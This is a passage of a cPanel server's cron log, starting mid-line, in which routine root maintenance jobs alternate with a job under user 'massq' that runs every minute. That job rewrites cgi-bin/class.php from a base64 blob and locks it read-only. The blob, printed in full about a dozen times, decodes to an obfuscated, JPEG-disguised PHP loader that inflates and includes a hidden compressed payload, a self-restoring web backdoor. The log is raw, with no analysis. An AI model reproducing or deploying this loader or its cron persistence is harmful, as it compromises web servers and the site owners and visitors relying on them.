 | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:15:01 server CROND[28928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:15:01 server CROND[28929]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:16:01 server CROND[29764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:16:01 server CROND[29765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:16:01 server CROND[29766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:17:01 server CROND[30248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:17:01 server CROND[30249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:17:01 server CROND[30251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:18:01 server CROND[30634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:18:01 server CROND[30636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:18:01 server CROND[30635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:19:01 server CROND[31049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:19:01 server CROND[31050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:19:01 server CROND[31051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:20:01 server CROND[31419]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:20:01 server CROND[31421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:20:01 server CROND[31424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:20:01 server CROND[31426]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:20:01 server CROND[31429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:20:01 server CROND[31427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:20:01 server CROND[31425]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:20:01 server CROND[31430]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:20:01 server CROND[31428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:21:01 server CROND[32263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:21:01 server CROND[32262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:21:01 server CROND[32264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:22:01 server CROND[32733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:22:01 server CROND[32734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:22:01 server CROND[32735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:23:01 server CROND[661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:23:01 server CROND[662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:23:01 server CROND[663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:24:01 server CROND[1095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:24:01 server CROND[1096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:24:01 server CROND[1102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:25:01 server CROND[1502]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:25:01 server CROND[1506]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:25:01 server CROND[1508]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 22:25:01 server CROND[1517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:25:01 server CROND[1520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:25:01 server CROND[1519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:25:01 server CROND[1523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:25:01 server CROND[1522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:26:01 server CROND[2408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:26:01 server CROND[2409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:26:01 server CROND[2410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:27:01 server CROND[2953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:27:01 server CROND[2954]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 22:27:01 server CROND[2955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:27:01 server CROND[2956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
